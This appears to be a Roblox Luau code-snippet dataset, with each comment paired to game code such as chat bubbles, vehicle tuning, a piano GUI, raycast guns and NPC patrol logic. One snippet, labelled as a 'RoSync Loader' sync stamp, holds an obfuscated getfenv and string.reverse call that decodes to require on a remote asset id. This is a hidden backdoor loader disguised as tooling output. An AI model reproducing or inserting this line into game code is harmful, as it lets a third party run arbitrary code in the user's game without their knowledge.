function this:DestroyBubble(bubbleQueue, bubbleToDestroy)
if not bubbleQueue then return end
if bubbleQueue:Empty() then return end
local bubble = bubbleQueue:Front().RenderBubble
if not bubble then
bubbleQueue:PopFront()
return
end
spawn(function()
while bubbleQueue:Front().RenderBubble ~= bubbleToDestroy do
wait()
end
bubble = bubbleQueue:Front().RenderBubble
local timeBetween = 0
local bubbleText = bubble:FindFirstChild("BubbleText")
local bubbleTail = bubble:FindFirstChild("ChatBubbleTail")
while bubble and bubble.ImageTransparency < 1 do
timeBetween = wait()
if bubble then
local fadeAmount = timeBetween * CHAT_BUBBLE_FADE_SPEED
bubble.ImageTransparency = bubble.ImageTransparency + fadeAmount
if bubbleText then bubbleText.TextTransparency = bubbleText.TextTransparency + fadeAmount end
if bubbleTail then bubbleTail.ImageTransparency = bubbleTail.ImageTransparency + fadeAmount end
end
end
if bubble then
bubble:Destroy()
bubbleQueue:PopFront()
end
end)
end
function this:CreateChatLineRender(instance, line, onlyCharacter, fifo, shouldAutoLocalize)
if not instance then return end
if not this.CharacterSortedMsg:Get(instance)["BillboardGui"] then
this:CreateBillboardGuiHelper(instance, onlyCharacter)
end
local billboardGui = this.CharacterSortedMsg:Get(instance)["BillboardGui"]
if billboardGui then
local chatBubbleRender = this.ChatBubbleWithTail[line.BubbleColor]:Clone()
chatBubbleRender.Visible = false
local bubbleText = this:CreateBubbleText(line.Message, shouldAutoLocalize)
bubbleText.Parent = chatBubbleRender
chatBubbleRender.Parent = billboardGui.BillboardFrame
line.RenderBubble = chatBubbleRender
local currentTextBounds = TextService:GetTextSize(
bubbleText.Text, CHAT_BUBBLE_FONT_SIZE_INT, CHAT_BUBBLE_FONT,
Vector2.new(BILLBOARD_MAX_WIDTH, BILLBOARD_MAX_HEIGHT))
local numOflines = (currentTextBounds.Y / CHAT_BUBBLE_FONT_SIZE_INT)
if UserFixBubbleChatText then
-- Need to use math.ceil to round up on retina displays
local width = math.ceil(currentTextBounds.X + CHAT_BUBBLE_PADDING * 2)
local height = numOflines * CHAT_BUBBLE_LINE_HEIGHT
-- prep chat bubble for tween
chatBubbleRender.Size = UDim2.fromOffset(0, 0)
chatBubbleRender.Position = UDim2.fromScale(0.5, 1)
chatBubbleRender:TweenSizeAndPosition(
UDim2.fromOffset(width, height),
UDim2.new(0.5, -width / 2, 1, -height),
Enum.EasingDirection.Out,
Enum.EasingStyle.Elastic,
0.1,
true,
function()
bubbleText.Visible = true
end
)
-- todo: remove when over max bubbles
this:SetBillboardGuiLOD(billboardGui, line.Origin)
this:UpdateChatLinesForOrigin(line.Origin, -height)
else
local bubbleWidthScale = math.max((currentTextBounds.X + CHAT_BUBBLE_WIDTH_PADDING) / BILLBOARD_MAX_WIDTH, 0.1)
-- prep chat bubble for tween
chatBubbleRender.Size = UDim2.new(0, 0, 0, 0)
chatBubbleRender.Position = UDim2.new(0.5, 0, 1, 0)
local newChatBubbleOffsetSizeY = numOflines * CHAT_BUBBLE_LINE_HEIGHT
chatBubbleRender:TweenSizeAndPosition(UDim2.new(bubbleWidthScale, 0, 0, newChatBubbleOffsetSizeY),
UDim2.new( (1 - bubbleWidthScale) / 2, 0, 1, -newChatBubbleOffsetSizeY),
Enum.EasingDirection.Out, Enum.EasingStyle.Elastic, 0.1, true,
function() bubbleText.Visible = true end)
-- todo: remove when over max bubbles
this:SetBillboardGuiLOD(billboardGui, line.Origin)
this:UpdateChatLinesForOrigin(line.Origin, -newChatBubbleOffsetSizeY)
end
delay(line.BubbleDieDelay, function()
this:DestroyBubble(fifo, chatBubbleRender)
end)
end
end
function this:OnPlayerChatMessage(sourcePlayer, message, targetPlayer)
if not this:BubbleChatEnabled() then return end
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and sourcePlayer ~= localPlayer
local safeMessage = this:SanitizeChatLine(message)
local line = createPlayerChatLine(sourcePlayer, safeMessage, not fromOthers)
if sourcePlayer and line.Origin then
local fifo = this.CharacterSortedMsg:Get(line.Origin).Fifo
fifo:PushBack(line)
--Game chat (badges) won't show up here
this:CreateChatLineRender(sourcePlayer.Character, line, true, fifo, false)
end
end
function this:OnGameChatMessage(origin, message, color)
-- Prevents conflicts with the new bubble chat if it is enabled
if UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then
return
end
local localPlayer = PlayersService.LocalPlayer
local fromOthers = localPlayer ~= nil and (localPlayer.Character ~= origin)
local bubbleColor = BubbleColor.WHITE
if color == Enum.ChatColor.Blue then bubbleColor = BubbleColor.BLUE
elseif color == Enum.ChatColor.Green then bubbleColor = BubbleColor.GREEN
elseif color == Enum.ChatColor.Red then bubbleColor = BubbleColor.RED end
local safeMessage = this:SanitizeChatLine(message)
local line = createGameChatLine(origin, safeMessage, not fromOthers, bubbleColor)
this.CharacterSortedMsg:Get(line.Origin).Fifo:PushBack(line)
if UserShouldLocalizeGameChatBubble then
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, true)
else
this:CreateChatLineRender(origin, line, false, this.CharacterSortedMsg:Get(line.Origin).Fifo, false)
end
end
function this:BubbleChatEnabled()
if UserRoactBubbleChatBeta or (UserPreventOldBubbleChatOverlap and ChatService.BubbleChatEnabled) then
return false
end
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
local chatSettings = require(chatSettings)
if chatSettings.BubbleChatEnabled ~= nil then
return chatSettings.BubbleChatEnabled
end
end
end
return PlayersService.BubbleChat
end
function this:ShowOwnFilteredMessage()
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
return chatSettings.ShowUserOwnFilteredMessage
end
end
return false
end
function findPlayer(playerName)
for i,v in pairs(PlayersService:GetPlayers()) do
if v.Name == playerName then
return v
end
end
end
ChatService.Chatted:connect(function(origin, message, color) this:OnGameChatMessage(origin, message, color) end)
local cameraChangedCon = nil
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
game.Workspace.Changed:connect(function(prop)
if prop == "CurrentCamera" then
if cameraChangedCon then cameraChangedCon:disconnect() end
if game.Workspace.CurrentCamera then
cameraChangedCon = game.Workspace.CurrentCamera:GetPropertyChangedSignal("CFrame"):connect(function(prop) this:CameraCFrameChanged() end)
end
end
end)
local AllowedMessageTypes = nil
function getAllowedMessageTypes()
if AllowedMessageTypes then
return AllowedMessageTypes
end
local clientChatModules = ChatService:FindFirstChild("ClientChatModules")
if clientChatModules then
local chatSettings = clientChatModules:FindFirstChild("ChatSettings")
if chatSettings then
chatSettings = require(chatSettings)
if chatSettings.BubbleChatMessageTypes then
AllowedMessageTypes = chatSettings.BubbleChatMessageTypes
return AllowedMessageTypes
end
end
local chatConstants = clientChatModules:FindFirstChild("ChatConstants")
if chatConstants then
chatConstants = require(chatConstants)
AllowedMessageTypes = {chatConstants.MessageTypeDefault, chatConstants.MessageTypeWhisper}
end
return AllowedMessageTypes
end
return {"Message", "Whisper"}
end
function checkAllowedMessageType(messageData)
local allowedMessageTypes = getAllowedMessageTypes()
for i = 1, #allowedMessageTypes do
if allowedMessageTypes[i] == messageData.MessageType then
return true
end
end
return false
end
local ChatEvents = ReplicatedStorage:WaitForChild("DefaultChatSystemChatEvents")
local OnMessageDoneFiltering = ChatEvents:WaitForChild("OnMessageDoneFiltering")
local OnNewMessage = ChatEvents:WaitForChild("OnNewMessage")
OnNewMessage.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if not messageData.IsFiltered or messageData.FromSpeaker == LocalPlayer.Name then
if messageData.FromSpeaker ~= LocalPlayer.Name or this:ShowOwnFilteredMessage() then
return
end
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
OnMessageDoneFiltering.OnClientEvent:connect(function(messageData, channelName)
if not checkAllowedMessageType(messageData) then
return
end
local sender = findPlayer(messageData.FromSpeaker)
if not sender then
return
end
if messageData.FromSpeaker == LocalPlayer.Name and not this:ShowOwnFilteredMessage() then
return
end
this:OnPlayerChatMessage(sender, messageData.Message, nil)
end)
|
-- wait for the first of the passed signals to fire
|
local function waitForFirst(...) -- RBXScriptSignal
local shunt: BindableEvent = Instance.new("BindableEvent")
local slots = {...}
local function fire(...)
for i = 1, #slots do
slots[i]:Disconnect()
end
return shunt:Fire(...)
end
for i = 1, #slots do -- RBXScriptSignal
slots[i] = slots[i]:Connect(fire) -- Change to RBXScriptConnection
end
return shunt.Event:Wait()
end
|
--[[
Generates symbols used to denote event handlers when working with the `New`
function.
]]
|
local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local function OnEvent(eventName: string): PubTypes.OnEventKey
return {
type = "Symbol",
name = "OnEvent",
key = eventName
}
end
return OnEvent
|
--Insert new value
|
function module:InsertStat(player, locationName, newValue)
if main.pd[player][locationName] then
table.insert(main.pd[player][locationName], newValue)
main.pd[player].DataToUpdate = true
main.signals.InsertStat:FireClient(player, {locationName, newValue})
end
end
|
--[=[
Gets the screen position of the mouse.
]=]
|
function Mouse:GetPosition(): Vector2
return UserInputService:GetMouseLocation()
end
|
--helpfully checks a table for a specific value
|
local function contains(t, v)
for _, val in pairs(t) do
if val == v then
return true
end
end
return false
end
|
-- RightShoulder.MaxVelocity = 0.05
-- LeftShoulder.MaxVelocity = 0.05
-- RightShoulder.DesiredAngle = math.pi
-- LeftShoulder.DesiredAngle = -math.pi
-- RightHip.DesiredAngle = 0
-- LeftHip.DesiredAngle = 0
|
for _, motor in next, Limbs do
if string.match(motor.Name, "Left") or string.match(motor.Name, "Front") or string.match(motor.Name, "Right") or string.match(motor.Name, "Back") then
motor.DesiredAngle = 0
end
end
for _, motor in next, Joints do
motor.MaxVelocity = 0.05
motor.DesiredAngle = math.pi * 0.5
end
end
function MoveSit()
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local car = script.Parent.Bike.Value
local cam = workspace.CurrentCamera
local RS = game:GetService("RunService")
car.DriveSeat.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
RS:UnbindFromRenderStep("MCam")
cam.CameraType = Enum.CameraType.Custom
end
end)
script.Parent.Values.MouseSteerOn.Changed:connect(function(property)
if script.Parent.Values.MouseSteerOn.Value then
RS:BindToRenderStep("MCam",Enum.RenderPriority.Camera.Value,function()
cam.CameraType = Enum.CameraType.Scriptable
local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500)
local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-(car.DriveSeat.CFrame.lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed)
cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position)
end)
else
RS:UnbindFromRenderStep("MCam")
cam.CameraType = Enum.CameraType.Custom
end
end)
|
-----------------------------------------------------------------
|
game.StarterPlayer.CharacterWalkSpeed = gameRules.NormalWalkSpeed
local function AccessID(SKP_0,SKP_1)
if SKP_0.UserId ~= SKP_1 then
SKP_0:kick("Exploit Protocol");
warn(SKP_0.Name.." - Potential Exploiter! Case 0-A: Client Tried To Access Server Code");
table.insert(_G.TempBannedPlayers, SKP_0);
end;
return ACS_0;
end;
Evt.AcessId.OnServerInvoke = AccessID
|
--[=[
Returns true if the class is a maid, and false otherwise.
```lua
print(Maid.isMaid(Maid.new())) --> true
print(Maid.isMaid(nil)) --> false
```
@param value any
@return boolean
]=]
|
function Maid.isMaid(value)
return type(value) == "table" and value.ClassName == "Maid"
end
|
----------------------------------------------------------------------
|
end
function computeLaunchAngle(dx,dy,grav)
-- arcane
-- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile
local g = math.abs(grav)
local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY)))
if inRoot <= 0 then
return .25 * math.pi
end
local root = math.sqrt(inRoot)
local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx)
local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx)
local answer1 = math.atan(inATan1)
local answer2 = math.atan(inATan2)
if answer1 < answer2 then return answer1 end
return answer2
end
function computeDirection(vec)
local lenSquared = vec.magnitude * vec.magnitude
local invSqrt = 1 / math.sqrt(lenSquared)
return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt)
end
Tool.Enabled = true
function onActivated()
if not Tool.Enabled then
local bewl = script.Parent:FindFirstChild("Bool")
if bewl then
bewl:Destroy()
end
return
end
Tool.Enabled = false
local character = Tool.Parent;
local humanoid = character.Humanoid
if humanoid == nil then
print("Humanoid not found")
return
end
local targetPos = humanoid.TargetPoint
script.Parent.Handle.SlingshotSound:Play()
fire(targetPos)
Tool.Enabled = true
end
function onWeld()
local bewl = script.Parent:FindFirstChild("Bool")
if bewl then
bewl:Destroy()
end
end
script.Parent.Activated:connect(onActivated)
script.Parent.Unequipped:connect(onWeld)
|
--[=[
@within Comm
@prop ServerComm ServerComm
]=]
--[=[
@within Comm
@prop ClientComm ClientComm
]=]
|
return Comm
|
--//Const
|
local RS = game:GetService("RunService");
function ViewportInit:Init(VP, Selected, CamCFrame)
if (not VP) then return; end
VP:ClearAllChildren();
local Obj = Selected:Clone();
if (not Obj.PrimaryPart) then
for i,v in pairs(Obj:GetChildren()) do
if (v:IsA("BasePart")) then
Obj.PrimaryPart = v;
break;
end
end
end
Obj:SetPrimaryPartCFrame(CFrame.new(Vector3.new(), CamCFrame.Position))
Obj.Parent = VP;
local Camera = Instance.new("Camera");
VP.CurrentCamera = Camera;
Camera.Parent = VP;
local cf = CamCFrame
Camera.CFrame = cf
return Obj, Camera;
end
return ViewportInit
|
--[[Wheel Alignment]]
|
--[Don't physically apply alignment to wheels]
--[Values are in degrees]
Tune.FCamber = -5.5
Tune.RCamber = -5
Tune.FToe = 0
Tune.RToe = 0
|
-- Private Functions
|
local function tripleProduct(a, b, c)
return b * c:Dot(a) - a * c:Dot(b)
end
local function containsOrigin(self, simplex, direction)
local a = simplex[#simplex]
local ao = -a
if (#simplex == 4) then
local b, c, d = simplex[3], simplex[2], simplex[1]
local ab, ac, ad = b - a, c - a, d - a
local abc, acd, adb = ab:Cross(ac), ac:Cross(ad), ad:Cross(ab)
abc = abc:Dot(ad) > 0 and -abc or abc
acd = acd:Dot(ab) > 0 and -acd or acd
adb = adb:Dot(ac) > 0 and -adb or adb
if (abc:Dot(ao) > 0) then
table.remove(simplex, 1)
direction = abc
elseif (acd:Dot(ao) > 0) then
table.remove(simplex, 2)
direction = acd
elseif (adb:Dot(ao) > 0) then
table.remove(simplex, 3)
direction = adb
else
return true
end
elseif (#simplex == 3) then
local b, c = simplex[2], simplex[1]
local ab, ac = b - a, c - a
local abc = ab:Cross(ac)
local abPerp = tripleProduct(ac, ab, ab).Unit
local acPerp = tripleProduct(ab, ac, ac).Unit
if (abPerp:Dot(ao) > 0) then
table.remove(simplex, 1)
direction = abPerp
elseif (acPerp:Dot(ao) > 0) then
table.remove(simplex, 2)
direction = acPerp
else
local isV3 = ((a - a) == ZERO3)
if (not isV3) then
return true
else
direction = abc:Dot(ao) > 0 and abc or -abc
end
end
else
local b = simplex[1]
local ab = b - a
local bcPerp = tripleProduct(ab, ao, ab).Unit
direction = bcPerp
end
return false, direction
end
|
--[ LEADERSTATS ]--
|
game.Players.PlayerAdded:Connect(function(player)
local leaderstats = Instance.new("Folder", player) -- Creates a folder into the player
leaderstats.Name = "leaderstats"
local Clicks = Instance.new("IntValue", leaderstats) -- Creates a value into the folder
Clicks.Name = "Clicks"
Clicks.Value = 0
local Gems = Instance.new("IntValue", leaderstats) -- Creates a value into the folder
Gems.Name = "Gems"
Gems.Value = 0
local Rebirths = Instance.new("IntValue", leaderstats) -- Creates a value into the folder
Rebirths.Name = "Rebirths"
Rebirths.Value = 0
end)
|
-- Time it takes to reload weapon
|
local ReloadTime = 2
|
-- Set initial value
|
script.Parent.Visible = not plr.Settings.CanSave.Value
|
--------------------) Settings
|
Damage = 0 -- the ammout of health the player or mob will take
Cooldown = 10 -- cooldown for use of the tool again
ZoneModelName = "LB trap" -- name the zone model
MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
|
--The button
|
script.Parent.Button.ClickDetector.MouseClick:connect(function(click)
if not (on) then on = true--On
script.Parent.MeshPart.Transparency = 1
script.Parent.MeshPart.CanCollide = false
elseif (on) then on = false --Off
script.Parent.MeshPart.Transparency = 0
script.Parent.MeshPart.CanCollide = true
end
end)
|
-- fn cst_int_rdr(string src, int len, fn func)
-- @len - Length of type for reader
-- @func - Reader callback
|
local function cst_int_rdr(len, func)
return function(S)
local pos = S.index + len
local int = func(S.source, S.index, pos)
S.index = pos
return int
end
end
|
--[[Engine]]
|
-- [TORQUE CURVE VISUAL]
-- https://www.desmos.com/calculator/nap6stpjqf
-- Use sliders to manipulate values
-- Edit everything as if your car is NATURALLY aspirated, or as if it lacks a turbo.
Tune.Horsepower = 150
Tune.IdleRPM = 700
Tune.PeakRPM = 6000
Tune.Redline = 7000
Tune.EqPoint = 5252
Tune.PeakSharpness = 20
Tune.CurveMult = 0.2
Tune.InclineComp = 1.2 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
--Turbo Settings
Tune.Aspiration = "Natural" --[[
[Aspiration]
"Natural" : N/A, Naturally aspirated engine
"Single" : Single turbocharger
"Double" : Twin turbocharger
"Super" : Supercharger ]]
Tune.Boost = 5 --Max PSI (If you have two turbos and this is 15, the PSI will be 30)
Tune.TurboSize = 80 --Turbo size; the bigger it is, the more lag it has.
Tune.CompressRatio = 9 --The compression ratio (look it up)
Tune.Sensitivity = 0.05 --How quickly the Supercharger (if appllied) will bring boost when throttle is applied. (Increment applied per tick, suggested values from 0.05 to 0.1)
--Misc
Tune.RevAccel = 300 -- RPM acceleration when clutch is off
Tune.RevDecay = 75 -- RPM decay when clutch is off
Tune.RevBounce = 500 -- RPM kickback from redline
Tune.IdleThrottle = 3 -- Percent throttle at idle
Tune.ClutchTol = 250 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
|
--[[
Function to clean any state that has been instantiated in the script
]]
|
function UIController.clean()
end
return UIController
|
-- Create a new shimmer object
|
local shim = shimmer.new(guiObject, 1, Enum.EasingStyle.Exponential, Enum.EasingDirection.InOut, -1, false, 0)
|
---------------------------------------------------------------
|
function onChildAdded(child)
if child.Name == "SeatWeld" then
local human = child.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human IN")
seat.SirenControl.Control.CarName.Value = human.Parent.Name.."'s Car"
seat.Parent.Name = human.Parent.Name.."'s Car"
s.Parent.SirenControl:clone().Parent = game.Players:findFirstChild(human.Parent.Name).PlayerGui
end
end
end
function onChildRemoved(child)
if (child.Name == "SeatWeld") then
local human = child.part1.Parent:findFirstChild("Humanoid")
if (human ~= nil) then
print("Human OUT")
seat.Parent.Name = "Empty Car"
seat.SirenControl.Control.CarName.Value = "Empty Car"
game.Players:findFirstChild(human.Parent.Name).PlayerGui.SirenControl:remove()
end
end
end
script.Parent.ChildAdded:connect(onChildAdded)
script.Parent.ChildRemoved:connect(onChildRemoved)
|
--[[ Last synced 7/9/2021 08:36 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
|
--[[
Handles client-side behaviors and effects while pulling a wagon
--]]
|
local Players = game:GetService("Players")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local LocalWalkJumpManager = require(ReplicatedStorage.Source.LocalWalkJumpManager)
local PlayerFacingString = require(ReplicatedStorage.Source.SharedConstants.PlayerFacingString)
local localPlayer = Players.LocalPlayer :: Player
local PullingWagon = {}
PullingWagon.__index = PullingWagon
export type ClassType = typeof(setmetatable({} :: {}, PullingWagon))
function PullingWagon.new(characterModel: Model): ClassType
local self = {}
setmetatable(self, PullingWagon)
-- Only create behaviors and effects for local character
if characterModel == localPlayer.Character then
self:_onPullingStarted()
end
return self
end
function PullingWagon._onPullingStarted(self: ClassType)
-- Disable jumping
LocalWalkJumpManager.getJumpValueManager():setMultiplier(PlayerFacingString.ValueManager.PullingWagon, 0)
end
function PullingWagon.destroy(self: ClassType)
-- Re-enable jumping
LocalWalkJumpManager.getJumpValueManager():removeMultiplier(PlayerFacingString.ValueManager.PullingWagon)
end
return PullingWagon
|
--end
|
local function displayPath(waypoints)
local color = BrickColor.Random()
for index, waypoint in pairs(waypoints) do
local part = Instance.new("Part")
part.BrickColor = color
part.Anchored = true
part.CanCollide = false
part.Size = Vector3.new(1,1,1)
part.Position = waypoint.Position
part.Parent = workspace
local Debris = game:GetService("Debris")
Debris:AddItem(part, 6)
end
end
local function walkTo(destination)
local path = getPath(destination)
if path.Status == Enum.PathStatus.Success then
for index, waypoint in pairs(path:GetWaypoints()) do
local target = findTarget()
if target and target.Humanoid.Health > 0 then
attack(target)
break
else
humanoid:MoveTo(waypoint.Position)
humanoid.MoveToFinished:Wait()
end
end
else
humanoid:MoveTo(destination.Position - (TeddyAI.HumanoidRootPart.CFrame.LookVector * 10))
end
end
function patrol()
local waypoints = TeddyAI.Parent.felewaypoints:GetChildren()
local randomNum = math.random(1, #waypoints)
walkTo(waypoints[randomNum])
end
while true do
patrol()
end
|
--game.ReplicatedStorage.Events.CriarSave3.OnServerEvent:Connect(function(player)
|
--player.Saves.Numerodesaves3.Value = 1
|
--[[
Calls awaitStatus internally, returns (isResolved, values...)
]]
|
function Promise.prototype:await(...)
local length, result = pack(self:awaitStatus(...))
local status = table.remove(result, 1)
return status == Promise.Status.Resolved, unpack(result, 1, length - 1)
end
|
--- Sets the text in the command bar text box, and captures focus
|
function Window:SetEntryText(text)
Entry.TextBox.Text = text
if self:IsVisible() then
Entry.TextBox:CaptureFocus()
Entry.TextBox.CursorPosition = #text + 1
end
end
|
-- Function to update the TextLabel
|
local function updateTextLabel()
local waitingText = "Waiting for "
for _, player in pairs(game.Players:GetPlayers()) do
if not playersWhoClicked[player.UserId] then
waitingText = waitingText .. "" .. player.Name
end
end
textLabel.Text = waitingText
end
|
----------------------------------
------------FUNCTIONS-------------
----------------------------------
|
function ShowPiano()
PianoGui:TweenPosition(
UDim2.new(0.5, -380, 1, -220),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
.5,
true
)
end
function HidePiano()
PianoGui:TweenPosition(
UDim2.new(0.5, -380, 1, 0),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
.5,
true
)
end
function ShowSheets()
SheetsGui:TweenPosition(
UDim2.new(0.5, -200, 1, -520),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
.5,
true
)
end
function HideSheets()
SheetsGui:TweenPosition(
UDim2.new(0.5, -200, 1, 0),
Enum.EasingDirection.Out,
Enum.EasingStyle.Sine,
.5,
true
)
end
function ToggleSheets()
SheetsVisible = not SheetsVisible
if SheetsVisible then
ShowSheets()
else
HideSheets()
end
end
function IsBlack(note)
if note%12 == 2 or note%12 == 4 or note%12 == 7 or note%12 == 9 or note%12 == 11 then
return true
end
end
function HighlightPianoKey(note)
local keyGui = PianoGui.Keys[note]
if IsBlack(note) then
keyGui.BackgroundColor3 = Color3.new(50/255, 50/255, 50/255)
else
keyGui.BackgroundColor3 = Color3.new(200/255, 200/255, 200/255)
end
delay(.5, function() RestorePianoKey(note) end)
end
function RestorePianoKey(note)
local keyGui = PianoGui.Keys[note]
if IsBlack(note) then
keyGui.BackgroundColor3 = Color3.new(0, 0, 0)
else
keyGui.BackgroundColor3 = Color3.new(1, 1, 1)
end
end
function PianoKeyPressed(Object, note)
local type = Object.UserInputType.Name
if type == "MouseButton1" or type == "Touch" then
PlayNoteClient(note)
end
end
function ExitButtonPressed(Object)
local type = Object.UserInputType.Name
if type == "MouseButton1" or type == "Touch" then
Deactivate()
end
end
function SheetsButtonPressed(Object)
local type = Object.UserInputType.Name
if type == "MouseButton1" or type == "Touch" then
ToggleSheets()
end
end
function SheetsEdited(property)
if property == "Text" then
local bounds = SheetsGui.Sheet.ScrollingFrame.TextBox.TextBounds
SheetsGui.Sheet.ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, math.max(14, bounds.Y))
end
end
function ToggleCaps()
ShiftLock = not ShiftLock
if ShiftLock then
PianoGui.CapsButton.BackgroundColor3 = Color3.new(1, 170/255, 0)
PianoGui.CapsButton.BorderColor3 = Color3.new(154/255, 103/255, 0)
PianoGui.CapsButton.TextColor3 = Color3.new(1, 1, 1)
else
PianoGui.CapsButton.BackgroundColor3 = Color3.new(140/255, 140/255, 140/255)
PianoGui.CapsButton.BorderColor3 = Color3.new(68/255, 68/255, 68/255)
PianoGui.CapsButton.TextColor3 = Color3.new(180/255, 180/255, 180/255)
end
end
function CapsButtonPressed(Object)
local type = Object.UserInputType.Name
if type == "MouseButton1" or type == "Touch" then
ToggleCaps()
end
end
|
-- double rd_dbl_le(string src, int s)
-- @src - Source binary string
-- @s - Start index of little endian double
|
local function rd_dbl_le(src, s) return rd_dbl_basic(string.byte(src, s, s + 7)) end
|
---------------------------------------------------------------------------------------------------------------------
---------------------------------------------------------------------------------------------------------------------
-- Event Handlers
|
function OnRayHit(cast, raycastResult, segmentVelocity, cosmeticBulletObject)
-- This function will be connected to the Caster's "RayHit" event.
local hitPart = raycastResult.Instance
local hitPoint = raycastResult.Position
local normal = raycastResult.Normal
if hitPart ~= nil and hitPart.Parent ~= nil then -- Test if we hit something
local humanoid = hitPart.Parent:FindFirstChildOfClass("Humanoid") -- Is there a humanoid?
if humanoid then
local Player = Players:GetPlayerFromCharacter(Tool.Parent)
humanoid.Health -= 100
TagHumanoid(humanoid, Player)
task.wait(2)
UntagHumanoid(humanoid)
end
MakeParticleFX(hitPoint, normal) -- Particle FX
end
end
function OnRayPierced(cast, raycastResult, segmentVelocity, cosmeticBulletObject)
-- You can do some really unique stuff with pierce behavior - In reality, pierce is just the module's way of asking "Do I keep the bullet going, or do I stop it here?"
-- You can make use of this unique behavior in a manner like this, for instance, which causes bullets to be bouncy.
local position = raycastResult.Position
local normal = raycastResult.Normal
local newNormal = Reflect(normal, segmentVelocity.Unit)
cast:SetVelocity(newNormal * segmentVelocity.Magnitude)
-- It's super important that we set the cast's position to the ray hit position. Remember: When a pierce is successful, it increments the ray forward by one increment.
-- If we don't do this, it'll actually start the bounce effect one segment *after* it continues through the object, which for thin walls, can cause the bullet to almost get stuck in the wall.
cast:SetPosition(position)
-- Generally speaking, if you plan to do any velocity modifications to the bullet at all, you should use the line above to reset the position to where it was when the pierce was registered.
end
function OnRayUpdated(cast, segmentOrigin, segmentDirection, length, segmentVelocity, cosmeticBulletObject)
-- Whenever the caster steps forward by one unit, this function is called.
-- The bullet argument is the same object passed into the fire function.
if cosmeticBulletObject == nil then return end
local bulletLength = cosmeticBulletObject.Size.Z / 2 -- This is used to move the bullet to the right spot based on a CFrame offset
local baseCFrame = CFrame.new(segmentOrigin, segmentOrigin + segmentDirection)
cosmeticBulletObject.CFrame = baseCFrame * CFrame.new(0, 0, -(length - bulletLength))
end
function OnRayTerminated(cast)
local cosmeticBullet = cast.RayInfo.CosmeticBulletObject
if cosmeticBullet ~= nil then
-- This code here is using an if statement on CastBehavior.CosmeticBulletProvider so that the example gun works out of the box.
-- In your implementation, you should only handle what you're doing (if you use a PartCache, ALWAYS use ReturnPart. If not, ALWAYS use Destroy.
if CastBehavior.CosmeticBulletProvider ~= nil then
CastBehavior.CosmeticBulletProvider:ReturnPart(cosmeticBullet)
else
cosmeticBullet:Destroy()
end
end
end
MouseEvent.OnServerEvent:Connect(function (clientThatFired, mousePoint)
if not CanFire then
return
end
CanFire = false
local mouseDirection = (mousePoint - FirePointObject.WorldPosition).Unit
for i = 1, BULLETS_PER_SHOT do
Fire(mouseDirection)
end
if FIRE_DELAY > 0.03 then wait(FIRE_DELAY) end
CanFire = true
end)
Caster.RayHit:Connect(OnRayHit)
Caster.RayPierced:Connect(OnRayPierced)
Caster.LengthChanged:Connect(OnRayUpdated)
Caster.CastTerminating:Connect(OnRayTerminated)
Tool.Equipped:Connect(function ()
CastParams.FilterDescendantsInstances = {Tool.Parent, CosmeticBulletsFolder}
end)
|
-- função para adicionar vírgulas a um número
|
local function commaSeparateNumber(amount)
local formatted = amount
while true do
formatted, k = string.gsub(formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
if k == 0 then
break
end
end
return "Exp: "..formatted
end
|
--> References
|
local PlayerData = ReplicatedStorage:WaitForChild("PlayerData")
|
-------------------------
|
while true do
R.BrickColor = BrickColor.new("Lime green")
wait(0.5)
R.BrickColor = BrickColor.new("Really black")
wait(0.5)
end
|
--여기까지
|
local ser = game:GetService("Debris")
local tweenService = game:GetService("TweenService")
local skill = game.ReplicatedStorage.Skill:FindFirstChild(skillName) --스킬 찾기
local Cooldown = true
local DamageCool = false
function tween(X, Y, Z, clone)
local Posi = {Position = Vector3.new(X, Y, Z)}
local info = TweenInfo.new(
0.2,
Enum.EasingStyle.Linear,
Enum.EasingDirection.Out,
0,
false
)
local tween = tweenService:Create(clone, info, Posi)
tween:Play()
end
script.Parent.SkillEvent.OnServerEvent:Connect(function(plr, X, Y, Z, Target) --플레이어가 스킬을 클릭하면
if Cooldown == true then
if Ammo > 0 then
Ammo -= 1
local clone = skill:Clone() --스킬 복사
